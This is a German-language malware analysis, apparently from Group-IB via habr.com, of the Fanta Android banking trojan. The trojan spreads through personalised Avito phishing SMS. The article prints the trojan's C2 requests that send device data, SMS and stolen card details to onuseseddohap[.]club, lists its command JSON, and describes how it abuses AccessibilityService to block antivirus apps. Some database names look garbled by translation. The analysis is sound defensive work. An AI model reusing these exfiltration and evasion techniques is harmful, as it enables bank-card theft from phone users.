Leck, Fanta: neue Taktik des alten Android-Trojaners.

Eines Tages möchten Sie vielleicht etwas auf Avito verkaufen und nachdem Sie eine detaillierte Beschreibung Ihres Produkts (zum Beispiel ein RAM-Modul) veröffentlicht haben, erhalten Sie so eine Nachricht:

Wenn Sie den Link öffnen, sehen Sie eine scheinbar harmlose Seite, die Sie, den glücklichen und erfolgreichen Verkäufer, über den Abschluss eines Kaufs informiert:

Nachdem Sie auf die Schaltfläche „Weiter“ geklickt haben, wird eine APK-Datei mit einem vertrauenserweckenden Icon und Namen auf Ihr Android-Gerät heruntergeladen. Sie haben eine App installiert, die aus irgendeinem Grund die Berechtigungen für AccessibilityService angefordert hat; danach erscheinen und verschwinden schnell einige Fenster und… das war's.

Sie gehen, um Ihren Kontostand zu überprüfen, aber Ihre Banking-App fragt aus irgendeinem Grund erneut nach Ihren Kartendaten. Nach der Eingabe der Daten passiert das Schreckliche: Aus einem Ihnen noch unverständlichen Grund beginnen Geldbeträge von Ihrem Konto verschwinden. Sie versuchen, das Problem zu lösen, aber Ihr Telefon wehrt sich: Es drückt von selbst die Tasten „Zurück“ und „Home“, lässt sich nicht ausschalten und aktiviert keine Schutzmaßnahmen. Am Ende bleiben Sie ohne Geld, Ihr Produkt wurde nicht verkauft, Sie sind verwirrt und fragen sich: Was ist passiert?

Die Antwort ist einfach: Sie sind Opfer eines Android-Trojaners namens Fanta aus der Flexnet-Familie geworden. Wie ist das passiert? Lassen Sie es uns erklären.

Autoren: Andrej Polowinkin, Junior Malware-Analyst, Ivan Pisarev, Experte für Malware-Analyse.

Ein paar Statistiken

Erstmals wurde die Android-Trojaner-Familie Flexnet im Jahr 2015 bekannt. Über einen relativ langen Zeitraum hat sich die Familie auf mehrere Unterarten ausgeweitet: Fanta, Limebot, Lipton usw. Der Trojaner und die dazugehörige Infrastruktur entwickeln sich weiter: Es werden neue, effektive Verbreitungsstrategien entwickelt – in unserem Fall qualitativ hochwertige Phishing-Seiten, die auf spezifische Benutzer und Verkäufer abzielen. Die Trojaner-Entwickler orientieren sich an den neuesten Trends im Viruswriting und fügen neue Funktionen hinzu, die das Diebstahl von Geld von infizierten Geräten effektiver ermöglichen und Schutzmechanismen umgehen.

Die in diesem Artikel beschriebene Kampagne zielt auf Benutzer aus Russland ab, eine geringe Anzahl infizierter Geräte wurde in der Ukraine, noch weniger in Kasachstan und Weißrussland festgestellt.

Obwohl Flexnet bereits seit über 4 Jahren im Bereich der Android-Trojaner aktiv ist und von vielen Forschern eingehend untersucht wurde, ist er immer noch in guter Verfassung. Seit Januar 2019 wird der potenzielle Gesamtschaden auf über 35 Millionen Rubel geschätzt – und das gilt nur für Kampagnen in Russland. Im Jahr 2015 wurden verschiedene Versionen dieses Android-Trojaners auf Untergrundforen verkauft, wo auch der Quellcode des Trojaners mit ausführlicher Beschreibung erhältlich war. Das bedeutet, dass die weltweiten Schadensstatistiken noch beeindruckender sind. Nicht schlecht für einen alten Bekannten, oder?

Von Verkauf zu Betrug

Wie aus dem zuvor präsentierten Screenshot der Phishing-Seite für den Anzeigenservice Avito hervorgeht, wurde sie speziell für ein bestimmtes Opfer erstellt. Anscheinend nutzen die Täter einen der Avito-Crawler, der die Telefonnummer und den Namen des Verkäufers sowie die Produktbeschreibung extrahiert. Nachdem die Seite erstellt und die APK-Datei vorbereitet wurde, erhält das Opfer eine SMS mit seinem Namen und einem Link zur Phishing-Seite, die die Beschreibung des Produkts und den Betrag enthält, der aus dem "Verkauf" des Produkts erzielt wurde. Klickt der Benutzer auf den Button, erhält er die schädliche APK-Datei – Fanta.

Die Untersuchung der Domain shcet491[.]ru hat ergeben, dass sie auf die DNS-Server des Unternehmens Hostinger delegiert ist:

• ns1.hostinger.ru
• ns2.hostinger.ru
• ns3.hostinger.ru
• ns4.hostinger.ru

Die Zonendatei der Domain enthält Einträge, die auf IP-Adressen 31.220.23[.]236, 31.220.23[.]243 und 31.220.23[.]235 hinweisen. Der Hauptressourceneintrag der Domain (A-Eintrag) verweist jedoch auf einen Server mit der IP-Adresse 178.132.1[.]240.

Die IP-Adresse 178.132.1[.]240 befindet sich in den Niederlanden und gehört zum Hosting-Anbieter WorldStream. Die IP-Adressen 31.220.23[.]235, 31.220.23[.]236 und 31.220.23[.]243 befinden sich im Vereinigten Königreich und gehören dem virtuellen Hosting-Server HOSTINGER. Als Registrar wird verwendet openprov-ru. Die IP-Adresse 178.132.1[.]240 hat auch die folgenden Domains aufgelöst:

• sdelka-ru[.]ru
• tovar-av[.]ru
• av-tovar[.]ru
• ru-sdelka[.]ru
• shcet382[.]ru
• sdelka221[.]ru
• sdelka211[.]ru
• vyplata437[.]ru
• viplata291[.]ru
• perevod273[.]ru
• perevod901[.]ru

Es ist zu beachten, dass von fast allen Domains Links im folgenden Format verfügbar waren:

http://(www.){0,1}/[0-9]{7}

Dieses Muster wird auch von einem Link aus einer SMS-Nachricht erfasst. Historischen Daten zufolge wurde festgestellt, dass mehreren Links das oben beschriebene Muster für eine Domain zugeordnet ist, was auf die Nutzung einer Domain zur Verbreitung eines Trojaners an mehrere Opfer hinweist.

Wir springen ein wenig nach vorne: Als Steuerungsserver verwendet der über den Link aus der SMS heruntergeladene Trojaner die Adresse onuseseddohap[.]club. Diese Domain wurde am 12.03.2019 registriert, und seit dem 29.04.2019 gab es Interaktionen von APK-Anwendungen mit dieser Domain. Basierend auf den von VirusTotal erhaltenen Daten haben insgesamt 109 Anwendungen mit diesem Server interagiert. Die Domain wurde auf die IP-Adresse 217.23.14[.]27, die sich in den Niederlanden befindet und dem Hosting-Anbieter gehört WorldStream. Als Registrar wird namecheap. Auch die Domains bad-racoon[.]club (seit dem 25.09.2018) und bad-racoon[.]live (ab 2018-10-25). Mit Domain bad-racoon[.]club interagierten mehr als 80 APK-Dateien, mit bad-racoon[.]live — über 100.

Insgesamt sieht der Angriffsverlauf folgendermaßen aus:

Was steckt bei Fanta dahinter?

Wie viele andere Android-Trojaner kann Fanta SMS-Nachrichten lesen und senden, USSD-Anfragen durchführen und eigene Fenster über Anwendungen (einschließlich Bankanwendungen) anzeigen. Das Funktionsspektrum dieser Familie hat jedoch Zuwachs erfahren: Fanta begann, AccessibilityService für verschiedene Zwecke zu nutzen: um Benachrichtigungstexte anderer Anwendungen zu lesen, um die Entdeckung und das Stoppen des Trojaners auf dem infizierten Gerät zu verhindern usw. Fanta funktioniert auf allen Android-Versionen, die nicht älter als 4.4 sind. In diesem Artikel betrachten wir den folgenden Fanta-Muster genauer:

• MD5: 0826bd11b2c130c4c8ac137e395ac2d4
• SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
• SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Sofort nach dem Start

Direkt nach dem Start versteckt der Trojaner sein Symbol. Die Funktionalität der Anwendung ist nur gegeben, wenn der Name des infizierten Geräts nicht auf der Liste steht:

• android_x86
• VirtualBox
• Nexus 5X(bullhead)
• Nexus 5(razor)

Diese Überprüfung erfolgt im Hauptdienst des Trojaners — MainService. Bei der ersten Ausführung erfolgt die Initialisierung der Anwendungsparameter mit Standardwerten (Informationen zum Format der Konfigurationsdaten und deren Bedeutung folgen später) sowie die Registrierung des neuen infizierten Geräts auf dem Steuerungsserver. An den Server wird eine HTTP POST-Anfrage gesendet, die den Nachrichtentyp register_bot und Informationen über das infizierte Gerät (Android-Version, IMEI, Telefonnummer, Anbietername und Länderkennung, in dem der Anbieter registriert ist) enthält. Der Steuerungsserver hat die Adresse hXXp://onuseseddohap[.]club/controller.php. Als Antwort sendet der Server eine Nachricht zurück, die die folgenden Felder enthält: bot_id, bot_pwd, server — diese Werte speichert die Anwendung als Parameter des CnC-Servers. Der Parameter server ist optional, wenn das Feld nicht erhalten wurde: Fanta verwendet die Registrierungsadresse — hXXp://onuseseddohap[.]club/controller.php. Die Funktion zur Änderung der CnC-Adresse kann genutzt werden, um zwei Aufgaben zu erfüllen: eine gleichmäßige Lastverteilung zwischen mehreren Servern (bei einer großen Anzahl von infizierten Geräten kann die Belastung eines nicht optimierten Webservers hoch sein) sowie zur Nutzung eines alternativen Servers, wenn einer der CnC-Server ausfällt.

Wenn während der Anfrage ein Fehler auftritt, wird der Trojaner den Registrierungsprozess in 20 Sekunden wiederholen.

Nach erfolgreicher Registrierung des Geräts zeigt Fanta dem Benutzer die folgende Nachricht an:

Wichtiger Hinweis: Der Dienst mit dem Namen Sicherheit des Systems ist der Name des Trojaner-Dienstes, und nach dem Drücken der Taste OK wird ein Fenster mit den Accessibility-Einstellungen des infizierten Geräts geöffnet, in dem der Benutzer die Accessibility-Rechte für den schädlichen Dienst selbst gewähren muss:

Sobald der Benutzer die Option aktiviert AccessibilityService, erhält Fanta Zugriff auf den Inhalt der Anwendungsfenster und die darin durchgeführten Aktionen:

Sofort nach Erhalt der Accessibility-Rechte fordert der Trojaner Administratorrechte und Leserechte für Benachrichtigungen an:

Mithilfe des AccessibilityService simuliert die Anwendung Tasteneingaben und gewährt sich so alle benötigten Rechte.

Fanta erstellt mehrere Datenbankexemplare (die später beschrieben werden), die erforderlich sind, um Konfigurationsdaten sowie Informationen über das infizierte Gerät zu speichern. Um die gesammelten Informationen zu senden, erstellt der Trojaner eine sich wiederholende Aufgabe, die dafür vorgesehen ist, Felder aus der Datenbank auszulesen und einen Befehl vom Steuerungsserver zu empfangen. Das Intervall für die Kontaktaufnahme mit dem CnC wird je nach Android-Version festgelegt: bei Version 5.1 beträgt das Intervall 10 Sekunden, andernfalls 60 Sekunden.

Um den Befehl zu erhalten, stellt Fanta eine Anfrage GetTask an den Steuerungsserver. Als Antwort kann das CnC einen der folgenden Befehle senden:

Fanta sammelt auch Benachrichtigungen von 70 Anwendungen von Banken, schnellen Zahlungssystemen und elektronischen Geldbörsen und speichert diese in der Datenbank.

Speichern der Konfigurationsparameter

Für die Speicherung der Konfigurationsparameter nutzt Fanta den Standardansatz für die Android-Plattform — Einstellungen-Dateien. Die Einstellungen werden in einer Datei mit dem Namen settingsgespeichert. Eine Beschreibung der gespeicherten Parameter ist in der Tabelle unten aufgeführt.

Außerdem nutzt Fanta die Datei smsManager:

Interaktion mit Datenbanken

Im Verlauf seiner Arbeit verwendet der Trojaner zwei Datenbanken. Die Datenbank mit dem Namen a wird zur Speicherung verschiedener Informationen genutzt, die vom Telefon gesammelt wurden. Die zweite Datenbank trägt den Namen fanta.db und wird verwendet, um Einstellungen zu speichern, die für das Erstellen von Phishing-Fenstern verantwortlich sind, die darauf abzielen, Informationen über Bankkarten zu sammeln.

Der Trojaner verwendet eine Datenbank Über 40.000 Kunden in mehr als 120 Ländern zum Speichern gesammelter Informationen und zum Protokollieren seiner Aktivitäten. Die Daten werden in einer Tabelle gespeichert logs. Um die Tabelle zu erstellen, wird folgende SQL-Abfrage verwendet:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

Die Datenbank enthält folgende Informationen:

1. Protokollierung des Einschaltens des infizierten Geräts mit der Nachricht Das Telefon wurde eingeschaltet!

2. Benachrichtigungen von Anwendungen. Die Nachricht wird nach folgendem Muster erstellt:

(<%App Name%>)<%Title%>: <%Notification text%>

3. Daten von Bankkarten aus den vom Trojaner erstellten Phishing-Formularen. Der Parameter VIEW_NAME kann einer der folgenden sein:

• AliExpress
• Avito
• Google Play
• Verschiedenes <%App Name%>

Die Nachricht wird im folgenden Format protokolliert:

[() Kartennummer:; Datum:/; CVV:

4. Eingehende/ausgehende SMS-Nachrichten im Format:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Typ: Eingehend/Ausgehend) <%Mobile number%>:<%SMS-text%>

5. Informationen über das Paket, das das Dialogfenster erstellt, im Format:

(<%Package name%>)<%Package information%>

Beispiel Tabelle logs:

Eine der Funktionen von Fanta ist das Sammeln von Informationen über Bankkarten. Die Datenerfassung erfolgt durch das Erstellen von Phishing-Fenstern beim Öffnen von Bankanwendungen. Der Trojaner erstellt das Phishing-Fenster nur einmal. Informationen darüber, dass das Fenster dem Benutzer angezeigt wurde, werden in der Tabelle gespeichert. settings in der Datenbank fanta.db. Um die Datenbank zu erstellen, wird die folgende SQL-Abfrage verwendet:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Alle Tabellenfelder settings werden standardmäßig mit dem Wert 1 (Phishing-Fenster erstellen) initialisiert. Nachdem der Benutzer seine Daten eingegeben hat, wird der Wert auf 0 gesetzt. Beispiel für Felder der Tabelle settings:

• can_login — das Feld steuert die Anzeige des Formulars beim Öffnen der Bankanwendung
• first_bank — wird nicht verwendet
• can_avito — das Feld steuert die Anzeige des Formulars beim Öffnen der Avito-Anwendung
• can_ali — das Feld steuert die Anzeige des Formulars beim Öffnen der Aliexpress-Anwendung
• can_another — das Feld steuert die Anzeige des Formulars beim Öffnen einer beliebigen Anwendung aus der Liste: Jula, Pandao, Drom Auto, Geldbörse. Rabatt- und Bonuskarten, Aviasales, Booking, Trivago
• can_card — Dieses Feld ist für die Anzeige des Formulars beim Öffnen zuständig Google Play

Interaktion mit dem Management-Server

Die Netzwerkinteraktion mit dem Management-Server erfolgt über das HTTP-Protokoll. Für die Netzwerkkommunikation verwendet Fanta die beliebte Bibliothek Retrofit. Anfragen werden an die Adresse gesendet hXXp://onuseseddohap[.]club/controller.php. Die Serveradresse kann bei der Registrierung auf dem Server geändert werden. Vom Server können Cookies als Antwort zurückkommen. Fanta führt folgende Anfragen an den Server durch:

• Die Registrierung des Bots auf dem Management-Server erfolgt einmalig beim ersten Start. Folgende Daten über das infizierte Gerät werden an den Server gesendet:
  · Cookies — erhaltene Cookies vom Server (Standardwert — leerer String)
  · Modus — String-Konstante register_bot
  · prefix — Ganzzahlkonstante 2
  · version_sdk — wird nach folgendem Muster gebildet: / (Avit)
  · imei — IMEI des infizierten Geräts
  · country — Ländercode des registrierten Betreibers im ISO-Format
  · number — Telefonnummer
  · operator — Name des Betreibers

  Beispiel einer Anfrage, die an den Server gesendet wird:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 144
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=register_bot&prefix=2&version_sdk=&imei=&country=&number=&operator=
  

  Als Antwort auf die Anfrage sollte der Server ein JSON-Objekt zurückgeben, das die folgenden Parameter enthält:
  · bot_id — die ID des infizierten Geräts. Wenn bot_id gleich 0 ist, wird Fanta die Anfrage erneut ausführen.
  · bot_pwd — das Passwort für den Server.
  · server — die Adresse des Kontrollservers. Optionaler Parameter. Wenn der Parameter nicht angegeben ist, wird die im Anwendung gespeicherte Adresse verwendet.

  Beispiel für ein JSON-Objekt:

  {
      "response":[
     	 {
     		 "bot_id": ,
     		 "bot_pwd": ,
     		 "server": 
     	 }
      ],
      "status":"ok"
  }

• Anfrage zum Erhalten eines Kommandos vom Server. Folgende Daten werden an den Server gesendet:
  · Cookies — die erhaltenen Cookies vom Server
  · bid — id des infizierten Geräts, die bei der Anfrage erhalten wurde register_bot
  · pwd — Passwort für den Server
  · divice_admin — Feld, das angibt, ob Administratorrechte erhalten wurden. Wenn die Administratorrechte erhalten wurden, ist das Feld gleich 1, andernfalls 0
  · Zugänglichkeit — Status der Accessibility Service. Wenn der Dienst aktiv war, beträgt der Wert 1, andernfalls 0
  · SMSManager — zeigt an, ob der Trojaner als Standardanwendung zum Empfang von SMS eingerichtet ist
  · screen — zeigt an, in welchem Zustand sich der Bildschirm befindet. Der Wert wird festgelegt 1, wenn der Bildschirm eingeschaltet ist, andernfalls 0;

  Beispiel einer Anfrage, die an den Server gesendet wird:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=getTask&bid=&pwd=&divice_admin=&Accessibility=&SMSManager=&screen=

  Abhängig vom Befehl kann der Server ein JSON-Objekt mit verschiedenen Parametern zurückgeben:

  · Der Befehl Eine SMS-Nachricht senden: In den Parametern sind die Telefonnummer, der Text der SMS-Nachricht und die ID der gesendeten Nachricht enthalten. Die ID wird verwendet, wenn die Nachricht an den Server mit dem Typ setSmsStatus.

  {
      "response":
      [
     	 {
     		 "mode": 0,
     		 "sms_number": <%SMS_NUMBER%>,
     		 "sms_text": <%SMS_TEXT%>,
     		 "sms_id": %SMS_ID%
     	 }
      ],
      "status":"ok"
  }

  · Der Befehl Einen Anruf tätigen oder einen USSD-Befehl ausführen: Die Telefonnummer oder der Befehl kommt im Antwortkörper an.

  {
      "response":
      [
     	 {
     		 "mode": 1,
     		 "command": <%TEL_NUMBER%>
     	 }
      ],
      "status":"ok"
  }

  · Der Befehl Parameterintervall ändern.

  {
      "response":
      [
     	 {
     		 "mode": 2,
     		 "interval": <%SECONDS%>
     	 }
      ],
      "status":"ok"
  }

  · Der Befehl Parameter intercept ändern.

  {
      "response":
      [
     	 {
     		 "mode": 3,
     		 "intercept": "all"/"telNumber"/
     	 }
      ],
      "status":"ok"
  }

  · Der Befehl Feld SmsManager ändern.

  {
      "response":
      [
     	 {
     		 "mode": 6,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

  · Der Befehl SMS-Nachrichten von dem infizierten Gerät abrufen.

  {
      "response":
      [
     	 {
     		 "mode": 9
     	 }
      ],
      "status":"ok"
  }

  · Der Befehl Das Telefon auf die Werkseinstellungen zurücksetzen:

  {
      "response":
      [
     	 {
     		 "mode": 11
     	 }
      ],
      "status":"ok"
  }

  · Der Befehl Parameter ReadDialog ändern.

  {
      "response":
      [
     	 {
     		 "mode": 12,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

• Nachricht mit Typ senden setSmsStatus. Diese Anfrage wird nach der Ausführung des Befehls gesendet Eine SMS-Nachricht senden. Die Anfrage sieht folgendermaßen aus:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

• Inhalt der Datenbank senden. Bei einer Anfrage wird eine Zeile übertragen. Die folgenden Daten werden an den Server gesendet:
  · Cookies — die erhaltenen Cookies vom Server
  · Modus — String-Konstante setSaveInboxSms
  · bid — id des infizierten Geräts, die bei der Anfrage erhalten wurde register_bot
  · text — Text im aktuellen Datenbankeintrag (Feld d aus der Tabelle logs in der Datenbank Über 40.000 Kunden in mehr als 120 Ländern)
  · number — Bezeichnung des aktuellen Datenbankeintrags (Feld p aus der Tabelle logs in der Datenbank Über 40.000 Kunden in mehr als 120 Ländern)
  · sms_mode — ganzzahliger Wert (Feld m aus der Tabelle logs in der Datenbank Über 40.000 Kunden in mehr als 120 Ländern)

  Die Anfrage sieht folgendermaßen aus:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

  Bei erfolgreicher Übertragung an den Server wird der Eintrag aus der Tabelle gelöscht. Beispiel eines vom Server zurückgegebenen JSON-Objekts:

  {
      "response":[],
      "status":"ok"
  }

Interaktion mit AccessibilityService

AccessibilityService wurde implementiert, um die Verwendung von Android-Geräten für Menschen mit Behinderungen zu erleichtern. In den meisten Fällen ist eine physische Interaktion erforderlich, um mit der Anwendung zu interagieren. AccessibilityService ermöglicht die Programmierung solcher Interaktionen. Fanta nutzt diesen Dienst, um gefälschte Fenster in Bankanwendungen zu erstellen und das Öffnen von Systemeinstellungen und bestimmten Anwendungen zu verhindern.

Durch die Nutzung der Funktionen von AccessibilityService verfolgt der Trojaner Änderungen an den Elementen auf dem Bildschirm des infizierten Geräts. Wie bereits erwähnt, enthält die Fanta-Einstellung einen Parameter, der für das Protokollieren von Aktionen mit Dialogfenstern verantwortlich ist — readDialog. Wenn dieser Parameter aktiviert ist, werden Informationen über den Namen und die Beschreibung des Pakets, das das Ereignis ausgelöst hat, in die Datenbank aufgenommen. Der Trojaner führt folgende Aktionen bei Auftreten von Ereignissen durch:

• Simuliert das Drücken der Tasten zurück und Home im Falle von:
  · wenn der Benutzer sein Gerät neu starten möchte
  · wenn der Benutzer die App „Avito“ deinstallieren oder die Berechtigungen ändern möchte
  · wenn auf der Seite die App „Avito“ erwähnt wird
  · beim Öffnen der App „Google Play Schutz“
  · beim Öffnen der Seiten mit den Einstellungen für AccessibilityService
  · bei Auftreten des Dialogfensters „System Sicherheit“
  · beim Öffnen der Seite mit den Einstellungen „Über anderen Apps anzeigen“
  · beim Öffnen der Seiten „Apps“, „Wiederherstellung und Zurücksetzen“, „Daten zurücksetzen“, „Einstellungen zurücksetzen“, „Entwickleroptionen“, „Erleichterte Bedienung“, „Besondere Funktionen“, „Besondere Berechtigungen“
  · wenn das Ereignis von bestimmten Apps generiert wurde.

  Liste der Anwendungen

  • android
  • Master Lite
  • Clean Master
  • Clean Master für x86 CPU
  • Meizu Anwendungsberechtigungsverwaltung
  • MIUI Sicherheit
  • Clean Master – Antivirus & Cache- und Junk-Dateien Reinigung
  • Elternkontrolle und GPS: Kaspersky SafeKids
  • Kaspersky Antivirus AppLock & Web Security Beta
  • Virus Cleaner, Antivirus, Cleaner (MAX Security)
  • Mobile AntiVirus Security PRO
  • Avast Antivirus & kostenlose Sicherheit 2019
  • Mobile Sicherheit МегаФон
  • AVG Schutz für Xperia
  • Mobile Sicherheit
  • Malwarebytes Antivirus & Schutz
  • Antivirus für Android 2019
  • Security Master – Antivirus, VPN, AppLock, Booster
  • AVG Antivirus für Huawei Tablet Systemmanager
  • Samsung Barrierefreiheit
  • Samsung Smart Manager
  • Security Master
  • Speed Booster
  • Dr.Web
  • Dr.Web Sicherheitsraum
  • Dr.Web Mobile Control Center
  • Dr.Web Sicherheitsraum Life
  • Dr.Web Mobile Control Center
  • Antivirus & Mobile Sicherheit
  • Kaspersky Internet Security: Antivirus und Schutz
  • Kaspersky Battery Life: Akku-Sparer & Booster
  • Kaspersky Endpoint Security – Schutz und Verwaltung
  • AVG Antivirus kostenlos 2019 – Schutz für Android
  • Antivirus Android
  • Norton Mobile Security und Antivirus
  • Antivirus, Firewall, VPN, mobile Sicherheit
  • Mobile Sicherheit: Antivirus, VPN, Diebstahlschutz
  • Antivirus für Android

• Wenn beim Senden einer SMS an eine Kurzwahl die Erlaubnis angefordert wird, simuliert Fanta das Drücken des Kontrollkästchens. Auswahl merken und die Schaltfläche senden.
• Wenn versucht wird, einem Trojaner Admin-Rechte zu entziehen, wird der Bildschirm des Telefons blockiert.
• Verhindert das Hinzufügen neuer Administratoren.
• Falls die Antivirus-App dr.web eine Bedrohung entdeckt hat, simuliert Fanta das Drücken der Schaltfläche ignorieren.
• Der Trojaner simuliert das Drücken der Schaltflächen zurück und Home, wenn das Ereignis von der Samsung Gerätepflege.
• Fanta erstellt Phishing-Fenster mit Formularen für die Eingabe von Bankkarteninformationen, wenn eine App aus einer Liste gestartet wurde, die etwa 30 verschiedene Internetdienste umfasst. Dazu gehören: AliExpress, Booking, Avito, Google Play Market, Pandao, Drom Auto und andere.
  

  Phishing-Formulare

  Fanta analysiert, welche Anwendungen auf dem infizierten Gerät gestartet werden. Wenn eine relevante Anwendung geöffnet wurde, zeigt der Trojaner ein Phishing-Fenster über allen anderen an, das ein Formular zur Eingabe von Bankkarteninformationen darstellt. Der Benutzer muss die folgenden Daten eingeben:

  • Kartennummer
  • Gültigkeitsdatum der Karte
  • CVV
  • Name des Karteninhabers (nicht bei allen Banken erforderlich)

  Je nach geöffneter Anwendung werden unterschiedliche Phishing-Fenster angezeigt. Im Folgenden sind einige Beispiele aufgeführt:

  Aliexpress:

  
  Avito:

  
  Für einige andere Anwendungen, zum Beispiel Google Play Market, Aviasales, Pandao, Booking, Trivago:
  

  Wie es tatsächlich war
  

  Glücklicherweise war die Person, die die zu Beginn des Artikels erwähnte SMS erhielt, ein Experte im Bereich Cybersecurity. Daher unterscheidet sich die tatsächliche, nicht inszenierte Version von der zuvor erzählten: Die Person erhielt eine interessante SMS und übergab diese an das Team von Group-IB Threat Hunting Intelligence. Das Ergebnis dieses Vorfalls ist dieser Artikel. Ein glückliches Ende, nicht wahr? Allerdings enden nicht alle Geschichten so erfolgreich, und um zu vermeiden, dass Ihre wie die inszenierte Version mit finanziellen Verlusten endet, genügt es in den meisten Fällen, sich an die folgenden, schon lange beschriebenen Regeln zu halten:

  • keine Apps für das Android-Betriebssystem aus Quellen zu installieren, die nicht Google Play sind
  • bei der Installation von Apps besonders auf die angeforderten Berechtigungen zu achten
  • auf die Dateiendungen heruntergeladener Dateien zu achten
  • regelmäßig Updates für das Android-Betriebssystem zu installieren
  • verdächtige Webseiten zu meiden und von dort keine Dateien herunterzuladen
  • nicht auf Links in erhaltenen SMS zu klicken.

Quelle: habr.com